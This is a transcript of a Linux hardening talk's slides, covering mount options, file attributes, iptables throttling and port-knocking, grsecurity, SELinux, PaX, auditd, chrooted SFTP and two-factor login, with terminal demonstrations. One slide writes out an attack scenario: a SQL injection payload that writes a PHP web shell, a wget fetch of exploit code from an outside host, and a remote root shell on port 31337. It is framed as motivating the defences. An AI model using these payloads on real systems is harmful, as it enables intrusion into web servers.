Core Linux Security: 0-Day Isn't Everything

When discussion on hardening Linux systems occurs, usually someone will swear by a single feature or application to ‘save the day’. In reality, a mesh of complimentary technologies, most of which are built-in or easily installable on a Linux box, is the bestway to go.
Defense in depth is more than marketing lingo, it’s a way of life for
actual information security. Come see some of the technologies you may have ignored, never knew existed, or just weren’t fully leveraging in some helpful ways to add layered security to your next Linux
deployment.

Transcript

1. CORE LINUX SECURITY 0-Day Isn’t Everything
2. BREAKING DOWN SECURITY • Most successful exploitation occurs due to a failure to think in terms of process rather than products (a la Bruce Schneier) • A 0-day exploit simply means a patch for the affected piece of technology does not yet exist; not that an exploit will work • “Defense in Depth” is not just another industry phrase, it’s the only way information security can be properly handled • Attackers don’t all care about ‘being root’; goal-based attacks may be much less involved to achieve but have stunning impacts to confidentiality, integrity, and/or availability (CIA)
3. IT’S ALL ABOUT THE LAYERS • A base distribution of Linux is pretty secure when put into context of “What’s the likelihood someone is going to get a root shell on my server?” • The addition of web applications, network services, multi- tenancy, and lazy administration change the situation quickly • A simple web exploit (SQL Injection, Remote File Inclusion) can potentially go from ‘bad web app’ to ‘root shell’ in seconds • So, let’s utilize many built-in or build-able Linux security technologies to provide extra assurances, even in seemingly dire situations
4. FILESYSTEM MOUNT OPTIONS
5. 1) mstanislav:/tmp$ mount | grep /tmp 2) /dev/sda8 on /tmp type ext3 (rw) 3) mstanislav:/tmp$ ./exploit 4) no errors returned 5) mstanislav:/tmp$ su - root 6) root:~# mount -o noexec,remount /tmp 7) root:~# exit 8) mstanislav:/tmp$ mount | grep /tmp 9) /dev/sda8 on /tmp type ext3 (rw,noexec) 10) mstanislav:/tmp$ ./exploit 11) ./exploit: Permission denied
6. 1) mstanislav:/tmp$ mount | grep /tmp 2) /dev/sda8 on /tmp type ext3 (rw) 3) mstanislav:/tmp$ ./evil-ping 4.2.2.2 4) PING 4.2.2.2 (4.2.2.2) 56(84) bytes of data. 5) 64 bytes from 4.2.2.2: icmp_req=1 ttl=55 time=24 ms 6) mstanislav:/tmp$ ls -l evil-ping 7) -rwsr-sr-x 1 root root 31360 Nov 6 13:37 evil-ping 8) mstanislav:/tmp$ su - root 9) root:~# mount -o nosuid,remount /tmp 10) root:~# exit 11) mstanislav:/tmp$ ./evil-ping 4.2.2.2 12) ping: icmp open socket: Operation not permitted
7. FILESYSTEM ATTRIBUTES
8. 1) mstanislav:~$ ls -l .bash_history 2) -rw------- mstanislav mstanislav Nov 6 .bash_history 3) mstanislav:~$ gcc -o exploit exploit.c 4) mstanislav:~$ ./exploit 5) mstanislav:~$ rm .bash_history 6) mstanislav:~$ no errors returned 7) mstanislav:~$ su - root 8) root:~# ls /home/mstanislav/.bash_history 9) ls: cannot access /home/mstanislav/.bash_history An Attacker Covering Their Tracks
9. 1) root:~# chown root:root /home/mstanislav/.bash_history 2) root:~# chmod 776 /home/mstanislav/.bash_history 3) root:~# chattr +a /home/mstanislav/.bash_history 4) root:~# su - mstanislav 5) mstanislav:~$ gcc -o exploit exploit.c 6) mstanislav:~$ ./exploit 7) mstanislav:~$ rm .bash_history 8) Cannot remove ‘.bash_history’: Operation not permitted 9) mstanislav:~$ chattr -a .bash_history 10) Permission denied while setting flags on .bash_history An Attacker Not Covering Their Tracks :)
10. STRONG[ER] PASSWORDS WITH PAM_CRACKLIB
11. 1) mstanislav:~$ passwd 2) Changing password for mstanislav. 3) (current) UNIX password: 4) Password: foobar 5) BAD PASSWORD: it is based on a dictionary word 6) Password: 12345 7) BAD PASSWORD: it is too simplistic/systematic 8) Password: 12 9) BAD PASSWORD: it is WAY too short Features: Record past passwords to reduce reuse; assign ‘credit’ to each character of a password to enforce mixture; watch out of dictionary words; watch for ‘reversals’ of existing passwords
12. IPTABLES CONNECTION THROTTLING
13. 1) root:~# cat /etc/iptables.up.rules 2) *filter 3) :INPUT ACCEPT [0:0] 4) -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 5) -A INPUT -p tcp --dport 22 -m recent --set --name SSH 6) -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH -j DROP 7) -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT 8) COMMIT 9) laptop:~$ ssh mstanislav@192.168.26.109 10) mstanislav@192.168.26.109’s password: wrong password 11) laptop:~$ ssh mstanislav@192.168.26.109 12) mstanislav@192.168.26.109’s password: wrong password 13) laptop:~$ ssh mstanislav@192.168.26.109 14) mstanislav@192.168.26.109’s password: wrong password 15) laptop:~$ ssh mstanislav@192.168.26.109 16) session hangs, never prompts for a password Enabling IPTables Connection Throttling Testing SSH Connection Throttling
14. IPTABLES PORT-KNOCKING
15. 1) root:~# iptables -n -L RH-Firewall-1-INPUT 2) state RELATED,ESTABLISHED 3) tcp dpt:22 recent: CHECK name: SSH side: source 4) tcp dpt:1599 recent: REMOVE name: SSH side: source 5) tcp dpt:1600 recent: SET name: SSH side: source 6) tcp dpt:1601 recent: REMOVE name: SSH side: source Simple Port-Knocking Configuration Notes: •Setting ‘REMOVE’ ports on each side of the SET port prevents a linear port scan from accidentally engaging the proper sequence •You can chain together rules to force multiple ports to be knocked in a proper sequence/time period to open your ‘real’ port up
16. 1) mstanislav:~$ ssh root@192.168.206.109 2) ^C Manually killed un-open connection 3) mstanislav:~$ telnet 192.168.206.109 1600 4) ^C Manually killed un-open connection 5) mstanislav:~$ ssh root@192.168.206.109 6) root@192.168.206.109’s password: 7) ^C Manually killed open connection 8) mstanislav:~$ telnet 192.168.206.109 1599 9) ^C Manually killed un-open connection 10) mstanislav:~$ ssh root@192.168.206.109 11) ^C Manually killed un-open connection
17. IPTABLES UID MATCH RULES
18. 1) root:~# iptables -n -L OUTPUT 2) ACCEPT tcp dpt:80 owner uid match 1000 3) DROP tcp dpt:80 4) root:~# telnet google.com 80 5) Trying 74.125.225.19... 6) ^C Manually killing un-open connection 7) root:~# su - mstanislav 8) mstanislav:~$ telnet google.com 80 9) Trying 74.125.225.19... 10) Connected to google.com 11) Escape character is ‘^]’. 12) ^] Manually closing connection
19. GRSECURITY “a set of patches for the Linux kernel with an emphasis on enhancing security. Its typical application is in computer systems that accept remote connections from untrusted locations, such as web servers and systems offering shell access to its users.” http://en.wikipedia.org/wiki/Grsecurity
20. LISTENING CONNECTION BINDING GROUP-BLACKLIST
21. 1) mstanislav:~$ nc -l -p 1500 2) ^C Manually closing listening port 3) mstanislav:~$ su - root 4) root:~# grep ‘mstanislav:x:’ /etc/groups 5) mstanislav:x:1000: 6) root:~# sysctl kernel.grsecurity.socket_server_gid=1000 7) kernel.grsecurity.socket_server_gid = 1000 8) root:~# exit 9) mstanislav:~$ nc -l -p 1500 10) Can’t grab 0.0.0.0:1500 with bind : Permission denied
22. ALL NETWORK CONNECTIONS GROUP-BLACKLIST
23. 1) mstanislav:~$ telnet google.com 80 2) Trying 74.125.226.112... 3) Connected to google.com 4) Escape character is ‘^]’. 5) ^] Manually closing connection 6) telnet> quit 7) mstanislav:~$ su - root 8) root:~# sysctl kernel.grsecurity.socket_client_gid=1000 9) kernel.grsecurity.socket_client_gid = 1000 10) root:~# exit 11) mstanislav:~$ telnet google.com 80 12) telnet: could not resolve google.com/80
24. SELINUX PORT RESTRICTIONS “Security-Enhanced Linux is a Flux Advanced Security Kernel (FLASK) implementation integrated in some versions of the Linux kernel with a number of utilities designed to demonstrate the value of mandatory access controls to the Linux community and how such controls could be added to Linux. These provide general support for enforcing many kinds of mandatory access control policies, including those based on the concepts of type enforcement, role-based access control, and multilevel security. ” http://en.wikipedia.org/wiki/Security-Enhanced_Linux
25. 1) root:~# sed -i ‘s/80/81/g’ /etc/apache2/ports.conf 2) root:~# /etc/init.d/apache2 restart 3) FAILED 4) root:~# grep ‘apache2’ /var/log/kern.log 5) Nov 8 08:44:50 base kernel:type=1400 audit( 6) 1320410690.781:9): avc: denied: {named_bind} for 7) pid=2247 comm=”apache2” src=81 scontext= 8) unconfined_u:system_r:httpd_t:s0-s0:c0-c1023 [...snip...] 9) root:~# semanage -a -t http_port_t -p tcp 81 10) root:~# /etc/init.d/apache2 restart 11) Restarting web server: Host *:81 has no VirtualHosts 12) root:~# netstat -nlp | grep ‘:81’ 13) tcp 0 0 0.0.0.0:81 0.0.0.0:*
26. PREVENTING ATTACKS PROACTIVELY “PaX flags data memory as non-executable, program memory as non-writable and randomly arranges the program memory. This effectively prevents many security exploits, such as some kinds of buffer overflows. The former prevents direct code execution absolutely, while the latter makes so-called return-to- libc (ret2libc) attacks difficult to exploit, relying on luck to succeed, but doesn't prevent variables and pointers overwriting.” http://en.wikipedia.org/wiki/PaX
27. 1) mstanislav:~$ gcc -o boverflow boverflow.c 2) mstanislav:~$ ./boverflow 3) Please enter your string: 121344324324234234213 4) Killed 5) mstanislav:~$ su - root 6) root:~# grep ‘boverflow’ /var/log/kern.log 7) Nov 6 14:28:32 base kernel: PAX: terminating task 8) /home/mstanislav/boverflow (boverflow):4984, 9) uid/euid: 1000/1000, PC: 33333532, SP: 5c213d00
28. Automatically kill executables doing ‘bad things’
29. RUINING RECONNOISSANCE
30. Restrict /proc access and unprivileged access to dmesg output Visible proc entries to ‘root’ Visible proc entries to ‘mstanislav’ ‘root’ can see dmesg ‘mstanislav’ can’t read dmesg
31. Visible processes as ‘root’ Visible processes as ‘mstanislav’ Hide processes not belonging to users
32. INTERROGATION
33. auditd Allows for Invasive Monitoring of User Activities Monitor /tmp activity Search for /tmp audit trail
34. SFTP CHROOT
35. 1) mstanislav:~$ sftp mstanislav@foobar.com 2) Connecting to foobar.com 3) Password: ******* 4) sftp> pwd 5) Remote working directory: /home/mstanislav/ Before Chroot After Chroot 6) mstanislav:~$ sftp untrusted@foobar.com 7) Connecting to foobar.com 8) Password: ******* 9) sftp> pwd 10) Remote working directory: /
36. TWO FACTOR
37. mstanislav:~$ ssh foobar.com Password: ********* Duo two-factor login for mstanislav Enter a passcode or select one of the following options: 1. Duo Push to XXX-XXX-9003 2. Phone call to XXX-XXX-9003 3. SMS passcodes to XXX-XXX-9003 Passcode or option (1-3): 1 Pushed a login request to your phone... Success. Logging you in... [mstanislav@sftp ~]$
38. REAL-LIFE SCENARIOS
39. Shared web hosting company running Debian Linux Customers are told to start a web server on a specific IP Most customers are using Apache + MySQL + PHP Regular patching & an ingress firewall provide ‘security’ ;) Framing the Situation The Environment The Attacker Has an unreleased Linux kernel exploit nobody knows of Has located a web site on the server with SQL injection Has an unprivileged user’s password (Valve anyone?)
40. Attack #1
41. 1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’]; 2) The attacker writes a PHP backdoor to the system: http://www.foobar.com/?id=23 UNION SELECT “<?EXEC($_GET[‘CMD’]);?>” INTO OUTFILE ‘/home/foobar/www/tmp/cmd.php’ 3) The attacker downloads his exploit using the backdoor: http://www.foobar.com/tmp/cmd.php?cmd=wget http://barfoo.com/unknown.c 4) The attacker compiles and runs his kernel exploit http://www.foobar.com/tmp/cmd.php?cmd=gcc -o unknown unknown.c ; ./unknown 5) The attacker connects to his remote root-shell: hack$ telnet foobar.com 31337 root@foobar#:
42. Ways to Defend Use ‘noexec’ mount option for /home and /tmp Restrict users from providing inbound TCP connections on any port except HTTP/HTTPS with UID MATCH rules Build the kernel with PaX to potentially prevent the vulnerability successfully executing Run a single web server for customers and enforce a kernel.grsecurity.socket_server_gid setting for all customers
43. Attack #1.5 1) The attacker logs into your SSH (TCP/22) server 2) Upload + compile + execute vulnerability Ways to Defend Utilize port-knocking so that the attacker doesn’t know and cannot (easily) find out that you’re even running SSH Use Cracklib to ensure that your user’s stolen password wasn’t so damn easy to crack from that stolen hash file Only give your customers chrooted-SFTP access to their web site files Use two-factor authentication so it doesn’t even matter!
44. Miscellaneous Notes Always utilize a remote syslog server ; logs on a compromised system are useless and probably going to be sanitized and/or purged SELinux/GRSecurity offer mandatory access control abilities to create strict policy that can limit just about any attack from being successful but usually require a lot of time to baseline and keep working after patches If you allow untrusted shell users, deploy as much logging functionality as possible (auditd, process accounting, etc.) Don’t trust a chroot implicitly ; using GRSecurity can make a huge difference. http://talby.rcs.manchester.ac.uk/~isd/_unix_security/chroot_break_out.html
45. REFERENCES, PAGE 1 • Hardened Gentoo • http://www.gentoo.org/proj/en/hardened/grsecurity.xml • Hardening Debian • http://wiki.debian.org/Hardening • SELinux for Debian • http://wiki.debian.org/SELinux/Setup • Cracklib for Various Distributions • http://www.cyberciti.biz/tips/linux-check-passwords-against-a-dictionary-attack.html • Port Knocking for IPTables • http://dotancohen.com/howto/portknocking.html • CentOS 6.x SSH Hardening + Chrooted SFTP • http://uncompiled.com/2011/09/centos-6-with-chrooted-sftp-only-users-ssh-hardening/ • GRSecurity Documentation • http://en.wikibooks.org/wiki/Grsecurity • IPTables UID/GID Match • http://www.cyberciti.biz/tips/block-outgoing-network-access-for-a-single-user-from-my-server-using-iptables.html • Hardened Linux From Scratch (HLFS) • http://www.linuxfromscratch.org/hlfs/
46. REFERENCES, PAGE 2 • Audit framework (auditd) document • http://www.suse.com/documentation/sled10/pdfdoc/audit_sp2/audit_sp2.pdf • Duo Security • http://www.duosecurity.com/ • SELinux Policy Customization • http://www.centos.org/docs/5/html/Deployment_Guide-en-US/sec-sel-policy-customizing.html • Basic chattr notes • http://linuxhelp.blogspot.com/2005/11/make-your-files-immutable-which-even.html • Installing Custom Linux 3.0.x Kernel in Ubuntu/Debian • http://www.explodingpenguin.tv/2011/06/07/installcompile-linux-kernel-3-0-in-ubuntu/ • Installing Custom Linux 2.6.x Kernel on *any* Distribution • http://www.cyberciti.biz/tips/compiling-linux-kernel-26.html • OSSEC Documentation (replacement for Tripwire) • http://www.ossec.net/doc/ • Chrooting BIND9 • http://www.unixwiz.net/techtips/bind9-chroot.html • Hardening CentOS (and general Linux distros) • http://wiki.centos.org/HowTos/OS_Protection
47. THANKS! QUESTIONS? •mark.stanislav@gmail.com •@markstanislav •http://www.uncompiled.com